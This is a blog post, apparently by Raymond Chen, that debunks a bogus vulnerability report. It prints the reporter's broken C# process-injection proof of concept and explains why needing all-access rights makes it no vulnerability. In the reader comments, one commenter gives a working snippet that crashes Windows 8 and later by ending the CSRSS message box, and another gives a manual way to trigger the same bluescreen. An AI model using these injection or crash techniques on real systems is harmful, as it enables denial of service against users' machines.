Pulling sleight of hand tricks in a security vulnerability report, episode 2

Raymond Chen

A security vulnerability report came in that claimed to have “found a way for privileged accounts to force the system to crash, and for non-privileged accounts to force the termination of any process.” They claim that they were exploiting a vulnerability in Message­Box.

They included a proof of concept, which went something like this.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class Program
{
  [DllImport("kernel32.dll")]
  static extern IntPtr OpenProcess(int access, bool inherit, int id);

  [DllImport("kernel32.dll")]
  static extern IntPtr VirtualAllocEx(IntPtr process, IntPtr address,
   int size, uint type, uint protection);

  [DllImport("kernel32.dll")]
  static extern bool WriteProcessMemory(IntPtr process, IntPtr address,
    IntPtr source, int size, out uint written);

  [DllImport("kernel32.dll")]
  static extern IntPtr CreateRemoteThread(IntPtr process,
   IntPtr attributes, uint stackSize, IntPtr address,
   IntPtr parameter, uint flags, out uint threadId);

  [DllImport("user32.dll")]
  static extern int MessageBox(IntPtr window, string text, string caption, uint type);

  [DllImport("user32.dll")]
  public static extern int EnableMenuItem(IntPtr menu, uint id, uint enable);

  public static void Main(string[] args)
  {
    Func<IntPtr, uint, uint, int> MessageBox = EnableMenuItem;
    GCHandle gcHandle = GCHandle.Alloc(MessageBox);
    IntPtr inject = GCHandle.ToIntPtr(gcHandle);
    int size = MessageBox.ToString().Length;

    int id = Process.GetProcessesByName(args[0])[0].Id;

    IntPtr process = OpenProcess(0x1F0FFF, false, id);

    IntPtr memory = VirtualAllocEx(process, IntPtr.Zero, size, 0x00001000, 0x40);
    uint written;
    WriteProcessMemory(process, memory, inject, size, out written);

    uint threadId;
    CreateRemoteThread(process, IntPtr.Zero, 0, memory, IntPtr.Zero, 0, out threadId);

  }
}

The instructions for running the proof of concept were very simple:

As administrator:
attack.exe svchost

As normal user:
attack.exe notepad (or any other process name)

As is customary of low-quality reports, the finder provides no explanation of what they’re attacking or how the attack works. They just attach a program and say “Good luck figuring out what I did!”¹

I mean, I like puzzles. But this is not the place for puzzles.

Here’s what’s going on.

First, the code gets the native address and size of the Message­Box function.

Next, they take the program name from the command line and find the process with that ID. (If there’s more than one, then they take the first one.)

Once they have the process ID, they use Open­Process to get a handle.

With the process handle, they use Virtual­Alloc­Ex to allocate (MEM_COMMIT = 0x00001000) read-write-execute data (PAGE_EXECUTE_READ­WRITE = 0x40) in the victim process, and then copy the Message­Box function into the process.

Finally, they inject a thread to execute the injected code.

Is this a security vulnerability?

Notice the first parameter to Open­Process: It is 0x1F0FFF = PROCESS_ALL_ACCESS.² If you can get “all access” rights to a process, then you pwn the process, and it’s therefore not suprising that you can inject code into it to make it crash.

In fact, if your goal is to crash the process, you don’t need to do all this nonsense. PROCESS_ALL_ACCESS includes PROCESS_TERMINATE, so this entire program could be simplified to

public class Program
{
  public static void Main(string[] args)
  {
    System.Diagnostics.Process.
        GetProcessesByName(args[0])[0].Kill();
  }
}

or a C# 9 one-liner,

System.Diagnostics.Process.GetProcessesByName(args[0])[0].Kill();

or avoid having to write any code at all: Run Task Manager, find the svchost.exe or notepad.exe you want to terminate, and click “End Task”.

Oh, and did you see the sleight of hand?

The report first says that an administrator can terminate any process, and they picked svchost. But then when they said that a non-administrator can also terminate any process, and somehow they switch from svchost to a lowly notepad.

That’s because when they tried having a non-administrator attack svchost, it didn’t work.

Somehow conveniently forgot to mention that.

Remember, you’re a researcher, not a student turning in a homework assignment. If you find evidence that runs counter to your hypothesis, you need to take it into consideration, not hide it and hope that nobody notices.

Bonus chatter: There are plenty of other wrong things about this vulnerability report. I’ll leave them as Easter Eggs for you to discover.

¹ I suspect that one of the reasons they don’t explain what their code does, or how the code accomplishes what it claims to do, is that they don’t know themselves. They just wrote some code, gosh it acts funny, must be a security vulnerability, send it to Microsoft!

² Specifically, it is the value of PROCESS_ALL_ACCESS from Windows XP. The value was upgraded in Windows Vista to 0x001FFFFF to include the “limited information” access bits, but this finder is apparently working from a very old worksheet.

11 comments

Discussion is closed. Login to edit/delete existing comments.

  • Dan Bugglin 0

    WOW.

    Here is what I am seeing:

    1. First, GCHandle.Allow simply causes the object passed into it to not be garbage collected. The returned value has nothing to do with the object itself (MSDN explicitly points this out: “Normal handles are opaque, which means that you cannot resolve the address of the object it contains through the handle.”), so the IntPtr they get doesn’t mean anything. .NET can move data around in memory so the GCHandle cannot be a pointer unless the object is pinned, which they didn’t do. Of course, it could be an implementation detail that P/Invoked functions are always pinned but who knows. Not these guys, I think.
    2. size is going to be the size of the string representation of the function. Which is not very useful since Func has no implementation for it, so it just returns a string representation of the type name and generic parameters.
    3. I am guessing the only reason reading from inject as a pointer in an unmanaged context does NOT crash this app is that GCHandle happens to use it as an unmanaged pointer internally. If this implementation detail were to ever be broken this app would possibly crash at this step.
    4. Even if they did it correctly, I’m pretty sure P/Invoke means they would be writing the managed code wrapper for the unmanaged function, not the unmanaged function itself (not sure how that works internally). And CreateRemoteThread can’t run managed code.
    5. Finally, they call CreateRemoteThread pointing to garbage data, which of course is likely to result in crashing the thread.

    Only thing that confuses me is how the thread crashing crashes the whole application. It should only crash the specific thread. MSDN docs do say:

    > Thread termination due to a invalid start address is handled as an error exit for the thread’s process.

    But they do seem to have provided a (more-or-less) valid block of memory as an address so I don’t think that’s relevant.

    To be fair I haven’t done unmanaged code in a while. The new thread is likely to run into invalid op codes or simply into unallocated memory at some point. I don’t know if those error conditions would crash the whole app (I would expect just the thread). The other possibility is this customer simply tried different apps until they found two that crashed, where some didn’t.

    • Raymond ChenMicrosoft employee 0

      “Only thing that confuses me is how the thread crashing crashes the whole application.” The thread crashes, the exception goes unhandled, and that crashes the process.

    • chrisok 0

      Amen to all of that. 🙂

      Cannot resist to add these things though.

      Func MessageBox = EnableMenuItem;

      This just defines a delegate to call the (via P/Invoke) EnableMenuItem Win32 function. The actual MessageBox Win32 P/Invoke declaration above is never used and could have been just left out of the code. So the whole “vulnerability” is even less about MessageBox as it was before (not that it has ever been ;-)).

      As you said, “size” is simply the length of the string representation of this delegate (so the length of “System.Func`4[System.IntPtr,System.UInt32,System.UInt32,System.Int32]”, that is 69) – added here for those of us who are not so much into .NET and C#.

    • George Tokmaji 0

      And they’re also leaking the handle returned by CreateRemoteThread, not that it matters much since the target process crashes anyway.

  • 🌊#️⃣ 0

    If you can get “all access” rights to a process, then you pwn the process, and it’s therefore not suprising that you can inject code into it to make it crash.

    Think you meant own the process, but pwn works as well 😁

    • Peter Cooper Jr. 2

      I suspect that Raymond did, in fact, intentionally use the word “pwn”.

  • Simon Geard 0

    It’s worse than that… running as an administrator, they can force the entire system to reboot or shut down!! 😉

  • Daniel Roskams 0

    From all the vulnerability reports that Microsoft receives, about what percentage of them are this sort of rubbish that, despite being obviously amateur, still has to be given at least a cursory glance? I can imagine there being plenty of script kids that think they’ve found a great new Security Hole(TM) and want to try and cash in.

  • a b 0

    There is indeed a message box related method of crashing the system which does not need admin mode or shutdown privilege.

    DWORD response;
    static wchar_t title[]=L"aaaaaa";
    WTSSendMessageW(WTS_CURRENT_SERVER_HANDLE,WTS_CURRENT_SESSION,title,sizeof title,L"1",2,0,0,&response,0);
    Sleep(500);
    EndTask(FindWindowW(0,title),FALSE,TRUE);

    EndTask somehow bypasses the protected process mechanism, terminating csrss which normally can’t be terminated even with debug privilege.
    You can change WTSSendMessageW to NtRaiseHardError, another way to ask csrss to create a message box.

    • Daniel Roskams 1

      That crashes Windows 10 systems, but it doesn’t have any effect on Windows 7, Vista, XP, or 2000. It was a bug introduced in Windows 8.

      The reason EndTask “bypasses” the protected process mechanism is because EndTask is implemented as an inter-process call to CSRSS which basically asks CSRSS to terminate the process that owns the specified window handle (the function within CSRSS which implements this is called _EndTask). So when you pass a HWND which is owned by CSRSS, then you are asking CSRSS to commit suicide and take down the system with it. And there is no safety check or privilege check involved here so you get a blue screen. That’s why you can use a non-elevated Task Manager to kill elevated processes (such as administrator command prompt), as long as they have a window that you can get a HWND to.

      Curiously, if you use the Windows 7 or prior task manager on Windows 8 or above, you are able to initiate this crash without writing a program to do it. If you find some application that imports from a non-existent DLL (or if you just delete some DLL that an app needs), and you run it, then the loader calls NtRaiseHardError to cause CSRSS to create a message box which informs the user of the missing DLL. The Windows 7 and prior task manager displays these CSRSS message boxes in the “Applications” list, which you can then select and press “End Task” while holding down the Ctrl key in order to cause the fForce parameter of EndTask to equal TRUE. Bluescreen happens.

      However in Windows 8 and above they reskinned task manager, and the CSRSS message boxes are no longer shown in the “Apps” section of task manager. Very nice way to avoid this bug.

  • Alexis Ryan 0

    Strongly Suspect they tried to convert someone else’s C code to do code injection into C#, messed it up and crashed the target process and thought the problem was with Windows, not their code. The intent was obviously to create code that would cause another process to display a message box, but this is not the way to do it. Setting the start address to the memory buffer? You had better make sure the buffer is executable and contains valid instructions. The address of a function is not likely to be a valid instruction. Oops. The original C code probably properly setup the inject buffer and pushed args and called MessageBox. No consideration for ASLR is always a good sign as well as no accounting for process architecture, addresses in one process need not match another process. Of course when you start fighting with ASLR you need to ask yourself “should I be doing this?” even though it’s not hard to do it properly and find the difference in the base addresses for a DLL between processes.

Feedback usabilla icon